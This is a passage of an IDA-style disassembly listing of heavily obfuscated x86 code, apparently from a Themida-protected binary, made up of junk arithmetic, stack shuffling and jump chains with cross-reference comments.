pop esp
sub al, cl
mov cx, [esp]
add esp, 2
add al, 0A2h
sub esp, 4
mov [esp], ecx
mov ch, 0F0h
jmp loc_564BD3
; ---------------------------------------------------------------------------
loc_562AED: ; CODE XREF: Themida_:005630F8j
push 4FD7h
mov [esp], esi
push edx
push 1E441DBCh
pop edx
add edx, 1D5350B3h
push ebx
mov ebx, edx
mov esi, ebx
jmp loc_55F0AA
; ---------------------------------------------------------------------------
loc_562B0C: ; CODE XREF: Themida_:0055CE0Ej
pop dword ptr [esp]
pop esp
jmp loc_55EC9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_562B15: ; CODE XREF: sub_56E89A-31EBj
pop ebp
jmp loc_560E66
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_562B1B: ; CODE XREF: Themida_:0055EE11j
sub ebp, 4
xchg ebp, [esp]
jmp loc_564797
; ---------------------------------------------------------------------------
loc_562B29: ; CODE XREF: Themida_:0056D5D7j
dec ebx
xor ebx, 0C1D4B6Fh
xor ebx, 9968BC5h
sub ebp, ebx
mov ebx, [esp]
add esp, 4
add eax, ebp
pop ebp
add eax, ebp
sub eax, 76833C4Fh
mov ebp, [esp]
add esp, 4
add ebx, eax
jmp loc_561938
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562B5B: ; CODE XREF: sub_56755A-5870j
pop edi
push edi
jmp loc_567701
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562B62: ; CODE XREF: Themida_:0055F61Bj
pop ebp
sub edi, 27972CBAh
add edi, ecx
add edi, 27972CBAh
push 4E77h
mov [esp], ecx
jmp loc_569477
; ---------------------------------------------------------------------------
push 3245h
mov [esp], edx
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562B8B: ; CODE XREF: sub_56755A-1BF0j
and eax, 6B4D67B9h
xor eax, 4B4D6612h
jmp loc_55F246
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562B9A: ; CODE XREF: Themida_:005602F5j
sub dword ptr [esp+8], 34355A24h
add [esp+8], esi
jmp loc_56CC88
; ---------------------------------------------------------------------------
loc_562BAB: ; CODE XREF: Themida_:00568BEBj
xor al, bl
push 53FFh
mov [esp], ebx
jmp loc_56292F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562BBA: ; CODE XREF: sub_56755A+1867j
xor bh, 6Ah
sub bh, 1
jmp loc_567523
; ---------------------------------------------------------------------------
loc_562BC5: ; CODE XREF: sub_56755A+16ABj
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
push eax
mov eax, 1
sub esi, eax
jmp loc_56ED97
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562BE2: ; CODE XREF: Themida_:0056E124j
sub ecx, 59E829BAh
neg ecx
jmp loc_5652DE
; ---------------------------------------------------------------------------
loc_562BEF: ; CODE XREF: Themida_:00565644j
dec dword ptr [esp]
not dword ptr [esp]
pop edi
not edi
or edi, 409F3AF2h
dec edi
jmp loc_55EFF3
; ---------------------------------------------------------------------------
loc_562C04: ; CODE XREF: Themida_:00566446j
pop esi
shl ecx, 3
dec ecx
add ecx, 3D99ACFEh
jmp loc_562D61
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562C14: ; CODE XREF: sub_56755A-5D0Fj
pop ebx
add eax, edx
mov edx, [esp+0]
jmp loc_55EDED
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_562C1F: ; CODE XREF: sub_55E931+3C19j
push dword ptr [esp+0]
jmp loc_56070A
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_562C27: ; CODE XREF: sub_565269+6j
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp+4+var_4]
jmp loc_569F5E
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_562C39: ; CODE XREF: sub_56CEC8-BC9Dj
pop eax
push edx
sub esp, 4
mov [esp+8+var_8], ecx
mov ch, bl
mov dl, ch
mov ecx, [esp+8+var_8]
add esp, 4
push eax
mov ah, dl
push ebx
mov bl, ah
mov cl, bl
pop ebx
pop eax
jmp loc_56EE2E
; END OF FUNCTION CHUNK FOR sub_56CEC8
; =============== S U B R O U T I N E =======================================
sub_562C5D proc near ; CODE XREF: sub_569496+3055j
var_6 = dword ptr -6
arg_2 = dword ptr 6
; FUNCTION CHUNK AT 0055E671 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055EB0A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560019 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056647A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005664B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005684D2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C94F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E610 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056EB2C SIZE 00000016 BYTES
push ebx
push ax
jmp loc_55EB0A
sub_562C5D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562C65: ; CODE XREF: sub_56755A-5C68j
xor ebp, [esp-4+arg_0]
xor [esp-4+arg_0], ebp
xor ebp, [esp-4+arg_0]
jmp loc_5702B4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F88
loc_562C73: ; CODE XREF: sub_562F88+Bj
add [esp+8+var_8], 111A1AD4h
pop ecx
sub ecx, 111A1AD4h
mov ebp, [esp+4+var_4]
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
mov eax, ecx
pop ecx
mov esi, [esp+0]
jmp loc_56879B
; END OF FUNCTION CHUNK FOR sub_562F88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562CA7: ; CODE XREF: sub_56755A-50B1j
mov [esp+0Ch+var_C], edi
push 4937h
mov [esp+10h+var_10], ecx
push 307F3B20h
mov ecx, [esp+14h+var_14]
push edi
jmp loc_55D120
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562CC0: ; CODE XREF: Themida_:00561460j
push 78E8h
jmp loc_5604DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562CCA: ; CODE XREF: sub_56755A-265Dj
add esp, 4
inc ebx
shl ebx, 2
xor ebx, 9D8DFC06h
jmp loc_560E5E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562CDC: ; CODE XREF: Themida_:0055C931j
mov [esp], edi
push 24CFh
push ebp
push esp
pop ebp
push edx
mov edx, 1CB00D69h
inc edx
sub edx, 1CB00D66h
add ebp, edx
jmp loc_56AB92
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562CFB: ; CODE XREF: sub_56755A-261Fj
mov si, di
mov edi, [esp+14h+var_14]
add esp, 4
jmp loc_55CB91
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1C0
loc_562D0C: ; CODE XREF: sub_56E1C0-4BA3j
add esp, 4
push ecx
jmp sub_560FD7
; END OF FUNCTION CHUNK FOR sub_56E1C0
; ---------------------------------------------------------------------------
loc_562D15: ; CODE XREF: Themida_:00569518j
mov edx, 42E400FAh
or esi, edx
pop edx
jmp loc_5633F0
; ---------------------------------------------------------------------------
loc_562D22: ; CODE XREF: Themida_:005642FFj
sub ch, dh
pop edx
xor dh, ch
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
add al, dh
mov edx, [esp]
add esp, 4
sub al, bl
sub esp, 2
mov [esp], dx
mov dh, 36h
sub al, dh
pop dx
push edx
jmp loc_5613A7
; ---------------------------------------------------------------------------
loc_562D61: ; CODE XREF: Themida_:00562C0Fj
or edx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push ebp
mov ebp, 0AE92F60h
neg ebp
sub ebp, 6EEC3893h
jmp loc_560DAF
; ---------------------------------------------------------------------------
loc_562D80: ; CODE XREF: Themida_:0055CAFCj
push ebx
mov ebx, 6D44C57h
push edx
mov edx, 57500969h
and edx, 1E605997h
push 725Dh
mov [esp], ebp
jmp loc_570324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_562D9F: ; CODE XREF: sub_56E89A-21DDj
add edx, 1D924EDBh
pop eax
jmp loc_562F11
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562DAB: ; CODE XREF: sub_56755A-328Dj
and [edi+1Ch], ebp
pop ebp
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562DB4: ; CODE XREF: Themida_:0056ACDEj
push 4AC3h
mov [esp], edx
mov dl, 68h
push ecx
mov cl, 84h
add cl, 1
jmp loc_56E448
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_562DC9: ; CODE XREF: sub_570668+7j
neg edx
push 41EFh
mov [esp+0Ch+var_C], ebp
mov ebp, 1C4B2E9Fh
sub ebp, 0FFFFFFFFh
add ebp, 2C7B4161h
and edx, ebp
jmp loc_568270
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A468
loc_562DEB: ; CODE XREF: sub_56A468-7E0Aj
push eax
mov eax, 1AC200D9h
jmp loc_567A70
; END OF FUNCTION CHUNK FOR sub_56A468
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56250B
loc_562DF6: ; CODE XREF: sub_56250B+22j
push si
jmp loc_56EC01
; END OF FUNCTION CHUNK FOR sub_56250B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562DFD: ; CODE XREF: sub_56755A+751j
mov edi, 54321C99h
mov edx, 0BDDE4947h
add edx, edi
mov edi, [esp+0Ch+var_C]
add esp, 4
shr edx, 3
shl edx, 6
add edx, 6F7CD104h
jmp loc_5707AA
; ---------------------------------------------------------------------------
loc_562E20: ; CODE XREF: sub_56755A+4593j
pop esi
sub esp, 4
mov [esp+8+var_8], ebp
push eax
mov eax, esp
add eax, 4
jmp loc_55B664
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562E37: ; CODE XREF: Themida_:0055D486j
mov ecx, 4E5A375Fh
sub ecx, 0E6CAC7EFh
sub edx, ecx
pop ecx
pop ebp
add edx, 38774652h
add edx, 258C4A50h
add edx, eax
sub edx, 258C4A50h
sub edx, 38774652h
push 75E2h
mov [esp], ebp
push ebx
push 6EF07E3Ah
mov ebx, [esp]
add esp, 4
mov ebp, ebx
jmp loc_56754E
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edx
jmp loc_56385D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562E8D: ; CODE XREF: sub_56755A-3C00j
push 1C57h
jmp loc_56C122
; ---------------------------------------------------------------------------
loc_562E97: ; CODE XREF: sub_56755A+95Fj
add edx, 4
add edx, 4
xchg edx, [esp+10h+var_10]
jmp loc_56B05B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D5AE
loc_562EA8: ; CODE XREF: sub_56D5AE-11E7Ej
add [eax], ebx
mov eax, [esp-4+arg_0]
add esp, 4
mov ebx, [esp+0]
jmp loc_55DF54
; END OF FUNCTION CHUNK FOR sub_56D5AE
; ---------------------------------------------------------------------------
mov ax, [esp]
push 64ABh
mov [esp], esi
jmp loc_56E293
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_562ECC: ; CODE XREF: sub_56971C-5C33j
sub ebx, 6DED278Bh
sub ebx, 78BA3E4Dh
xor ebx, 716CB8A9h
sub eax, 65022CB6h
sub eax, ebx
jmp loc_5649BC
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562EEA: ; CODE XREF: sub_56755A-BB12j
add ecx, 1062BB5h
neg ecx
jmp loc_5687EF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_56B65C
; ---------------------------------------------------------------------------
loc_562F08: ; CODE XREF: Themida_:00566F2Aj
pop esp
mov [esp], ebx
jmp loc_56B543
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_562F11: ; CODE XREF: sub_56E89A-BAF4j
push edx
push ebx
mov ebx, 3B95654Fh
sub [esp+0Ch+var_8], ebx
pop ebx
pop esi
sub esp, 4
mov [esp+8+var_8], ecx
mov ecx, 4CAE5924h
jmp loc_55E349
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_562F31: ; CODE XREF: sub_56CB7D-1192j
push eax
jmp loc_56C845
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_562F37: ; CODE XREF: Themida_:00564BFAj
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_56AF78
; =============== S U B R O U T I N E =======================================
sub_562F50 proc near ; CODE XREF: sub_56CB1B-5F1Ej
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055D75A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055D9A6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055F8BE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055FCE1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561993 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00562612 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565030 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005657C6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565830 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 005667E4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056698F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005686C1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568F8B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B10A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056F029 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056F6EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F7A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FFE8 SIZE 00000025 BYTES
sub esp, 4
jmp loc_56F7A2
sub_562F50 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_562F5B: ; CODE XREF: Themida_:0056CD5Bj
xchg al, dh
jmp loc_56072E
; =============== S U B R O U T I N E =======================================
sub_562F62 proc near ; CODE XREF: sub_56755A+302Fj
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055BBDB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055C51C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055C573 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005613DB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056527A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005670C0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056CA40 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056CECF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056E6FC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056FEDB SIZE 00000006 BYTES
sub esp, 4
mov [esp+0], eax
mov eax, 0
sub eax, edi
mov edi, eax
pop eax
jmp loc_56FEDB
sub_562F62 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov cx, [esp]
push 241Bh
jmp loc_56092A
; =============== S U B R O U T I N E =======================================
sub_562F88 proc near ; CODE XREF: sub_564356+4F9Ej
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560CF4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00562C73 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056879B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005688BC SIZE 0000001C BYTES
push ebp
mov ebp, esi
push 1919h
mov [esp+8+var_8], ebp
jmp loc_562C73
sub_562F88 endp
; ---------------------------------------------------------------------------
loc_562F98: ; CODE XREF: Themida_:0055C463j
push edx
mov edx, 5BC0678Dh
push 4DDA4B94h
pop eax
xor eax, edx
pop edx
dec eax
and eax, 72A26CE0h
jmp loc_566D44
; =============== S U B R O U T I N E =======================================
sub_562FB2 proc near ; CODE XREF: sub_562F88-2283j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560946 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005644DD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F257 SIZE 0000000D BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 0
push 2B0Fh
mov [esp+8+var_8], esi
mov esi, 3B239DCh
add eax, esi
pop esi
sub eax, edi
sub eax, 3B239DCh
push edx
mov edx, eax
mov edi, edx
pop edx
push [esp+4+var_4]
pop eax
add esp, 4
jmp loc_560946
sub_562FB2 endp
; ---------------------------------------------------------------------------
loc_562FE9: ; CODE XREF: Themida_:0056A01Ej
push esi
mov esi, 70F12096h
jmp loc_56AE31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_562FF4: ; CODE XREF: sub_55FDEF+874Dj
mov esi, [esp+8+var_8]
push ebx
mov ebx, esp
jmp loc_568B5A
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562FFF: ; CODE XREF: sub_56755A-5189j
mov edx, 87074BC9h
xor esi, edx
mov edx, [esp-10h+arg_C]
jmp loc_56EAC3
; ---------------------------------------------------------------------------
loc_56300E: ; CODE XREF: sub_56755A+408j
add edx, 42D46844h
jmp loc_566EE6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563019: ; CODE XREF: Themida_:0056F4EFj
xor cl, al
pop eax
push edx
mov dh, 0EDh
dec dh
add dh, 0E1h
jmp loc_5688F1
; ---------------------------------------------------------------------------
loc_563029: ; CODE XREF: Themida_:005651D1j
sub esi, 0D96E53D9h
add ebp, 63D3738Bh
add ebp, esi
jmp loc_55B8E0
; ---------------------------------------------------------------------------
loc_56303C: ; CODE XREF: Themida_:00566F19j
add ebp, 4
add ebp, 2
xchg ebp, [esp]
pop esp
push ebx
mov ebx, esp
push eax
mov eax, 5BBE3C82h
jmp loc_56A9BC
; ---------------------------------------------------------------------------
loc_563057: ; CODE XREF: Themida_:00561DFAj
mov esi, esp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_55FC9B
; ---------------------------------------------------------------------------
loc_56306F: ; CODE XREF: Themida_:00564327j
push edi
jmp loc_5672B8
; ---------------------------------------------------------------------------
loc_563075: ; CODE XREF: Themida_:0055F2ADj
push 1319h
mov [esp], ecx
mov ch, 0FAh
jmp loc_5645CC
; ---------------------------------------------------------------------------
loc_563084: ; CODE XREF: Themida_:0056EADEj
pop ecx
push ebx
mov bl, 48h
add al, bl
pop ebx
jmp loc_5676CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A9
loc_563090: ; CODE XREF: sub_5687A9+79A2j
mov edx, [esp+8+var_8]
add esp, 4
push ebx
mov ebx, 1509443Ah
and ebx, 64B82337h
add ebx, 7101193Fh
push ecx
mov ecx, 40B103E9h
xor ebx, ecx
pop ecx
not ebx
xor ebx, 51B05602h
sub ebx, 3AC568EDh
add ebp, 5FFC61FEh
add ebp, ebx
sub ebp, 5FFC61FEh
pop ebx
shl ebp, 8
neg ebp
shl ebp, 6
shr ebp, 3
jmp loc_5639FC
; END OF FUNCTION CHUNK FOR sub_5687A9
; ---------------------------------------------------------------------------
loc_5630E1: ; CODE XREF: Themida_:0056B90Ej
mov edi, 28FF60EDh
shl edi, 6
or edi, 281E5FF7h
sub edi, 0E6386C34h
or ebp, edi
pop edi
jmp loc_562AED
; ---------------------------------------------------------------------------
loc_5630FD: ; CODE XREF: Themida_:005694FEj
sub esp, 4
jmp loc_56FDBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_563108: ; CODE XREF: sub_566504+216Dj
pop edx
mov eax, [esp-8+arg_4]
push ecx
jmp loc_566428
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563112: ; CODE XREF: sub_56755A-AE1Cj
xchg edx, [esp+0Ch+var_C]
pop esp
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56311B: ; CODE XREF: sub_56755A-4180j
inc edx
sub edx, 3F9578EAh
sub edx, 68F2A93Bh
add esi, edx
mov edx, [esp+8+var_8]
add esp, 4
push edi
mov edi, 4
add esi, 73686A0Bh
jmp loc_564737
; ---------------------------------------------------------------------------
loc_563141: ; CODE XREF: sub_56755A-7923j
add eax, edi
add eax, 3D452A1Ah
push [esp+16h+var_18+2]
pop edi
add esp, 4
mov edx, eax
pop eax
push edx
jmp loc_56A1B7
; ---------------------------------------------------------------------------
loc_563158: ; CODE XREF: sub_56755A-8BD9j
add esp, 4
xchg ecx, [esp+24h+var_24]
mov esp, [esp+24h+var_24]
jmp loc_561F0D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563166: ; CODE XREF: Themida_:00560C0Cj
xchg ecx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ebx
jmp loc_5620EB
; ---------------------------------------------------------------------------
loc_56317D: ; CODE XREF: Themida_:0056A0A8j
mov ebp, 4
mov eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_55ED37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56318F: ; CODE XREF: sub_56755A+6247j
pop esi
jmp loc_56CB0E
; ---------------------------------------------------------------------------
loc_563195: ; CODE XREF: sub_56755A-8D66j
mov ch, dh
mov edx, [esp+2Ah+var_2C+2]
add esp, 4
add bl, ch
mov cx, word ptr [esp+26h+var_28+2]
jmp loc_5646F9
; ---------------------------------------------------------------------------
loc_5631AB: ; CODE XREF: sub_56755A-9881j
pop edi
jmp loc_568835
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5631B1: ; CODE XREF: Themida_:00565082j
sub ebx, edi
pop edi
jmp loc_56E239
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5631B9: ; CODE XREF: sub_56755A+48E3j
pop edx
push ecx
mov ecx, 18543E7Ch
inc ecx
add ecx, 11EF15EDh
add eax, ecx
pop ecx
add eax, edx
sub eax, 2A43546Ah
pop edx
push esi
mov esi, 2
push 27D7h
jmp loc_56C79D
; ---------------------------------------------------------------------------
loc_5631E2: ; CODE XREF: sub_56755A+2DBBj
add esp, 4
mov esi, ebx
pop ebx
push eax
mov eax, 0
sub eax, esi
mov esi, eax
pop eax
shr esi, 7
push ebp
sub esp, 4
mov [esp+2Ch+var_2C], eax
mov eax, 71D1318Eh
shr eax, 5
add eax, 60D84D3Ch
shr eax, 2
sub eax, 0E71F51CEh
push ecx
mov ecx, eax
mov ebp, ecx
pop ecx
pop eax
sub esi, 399B519Ch
push ebx
mov ebx, 407648C5h
sub esi, ebx
jmp loc_55B7FE
; ---------------------------------------------------------------------------
loc_563232: ; CODE XREF: sub_56755A-4BBFj
mov eax, [esp+0]
add esp, 4
add ebp, 4
xchg ebp, [esp-6+arg_0+2]
pop esp
add edx, 4
push 3FE2h
mov [esp-6+arg_0+2], esi
jmp loc_560FEA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563255: ; CODE XREF: Themida_:0056AEB3j
add esi, edi
jmp loc_56575D
; ---------------------------------------------------------------------------
loc_56325C: ; CODE XREF: Themida_:00564BCEj
pop edi
push ebx
push ecx
mov ecx, 6463DD4h
shr ecx, 7
sub ecx, 2FC3649Dh
xor ecx, 2DDB35DDh
shl ecx, 3
jmp loc_569C99
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_56327B: ; CODE XREF: sub_55FDEF+8B0Cj
pop edi
jmp loc_55EC93
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_563281: ; CODE XREF: Themida_:0056273Dj
mov ebp, edi
jmp loc_55F73B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563288: ; CODE XREF: sub_56755A-2C89j
add esi, 662E22CEh
jmp sub_55FDEF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563293: ; CODE XREF: Themida_:0055CCDFj
not edx
jmp loc_5607B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_56329A: ; CODE XREF: sub_56B774+3F49j
push esi
jmp loc_5609E4
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
loc_5632A0: ; CODE XREF: Themida_:0056DE31j
push ebx
mov ebx, 0F991162h
push ebp
jmp loc_56DBE2
; ---------------------------------------------------------------------------
loc_5632AC: ; CODE XREF: Themida_:00567070j
inc ebx
xor ebx, 28827191h
add ebx, 7588F220h
jmp loc_5652B9
; ---------------------------------------------------------------------------
loc_5632BE: ; CODE XREF: Themida_:00565EE5j
sub esp, 4
mov [esp], ebx
push 12EF12AEh
pop ebx
or ebx, 1D833078h
shl ebx, 2
jmp loc_56BAA9
; ---------------------------------------------------------------------------
loc_5632D8: ; CODE XREF: Themida_:0055B7EEj
add eax, 0FFFCD3A9h
add edx, eax
pop eax
sub esp, 4
mov [esp], edx
jmp loc_5629A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5632EE: ; CODE XREF: sub_56755A+7022j
pop ebx
shr bl, 8
add bl, 23h
sub cl, bl
pop ebx
push 5FA4h
mov [esp-0Ah+arg_4+2], eax
mov al, 96h
shl al, 7
jmp loc_55B735
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56330A: ; CODE XREF: sub_56F653-18Dj
mov eax, [esp+0]
jmp loc_55BB39
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_563312: ; CODE XREF: sub_56971C-33A3j
sub ebp, 0FFFFFFFFh
jmp loc_566DF0
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_56BA8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563322: ; CODE XREF: sub_56755A+8D55j
push ecx
jmp loc_566C70
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563328: ; CODE XREF: Themida_:00566068j
push dword ptr [esp]
pop edx
jmp loc_56BB20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_563331: ; CODE XREF: sub_566504-D8j
pop ecx
add esp, 4
jmp loc_5644FD
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56333A: ; CODE XREF: sub_56E89A+6A8j
mov edx, 17263D2Eh
jmp loc_56C6AF
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E54A
loc_563344: ; CODE XREF: sub_55E54A+FA48j
xor esi, ecx
pop ecx
add ebx, esi
pop esi
jmp sub_56B444
; END OF FUNCTION CHUNK FOR sub_55E54A
; ---------------------------------------------------------------------------
loc_56334F: ; CODE XREF: Themida_:0055C52Aj
mov ecx, 0A4B2D7Bh
add [esp+8], ecx
push dword ptr [esp]
pop ecx
add esp, 4
add [esp+4], edx
sub dword ptr [esp+4], 0A4B2D7Bh
push dword ptr [esp]
jmp loc_565F87
; ---------------------------------------------------------------------------
loc_563373: ; CODE XREF: Themida_:0056602Fj
xor ebp, 78E900BCh
push ebp
pop esi
pop ebp
jmp loc_56CC81
; ---------------------------------------------------------------------------
loc_563381: ; CODE XREF: Themida_:0055BFC9j
pop edi
add eax, ecx
sub eax, 3644007Fh
mov ecx, [esp]
add esp, 4
push 1B6Ah
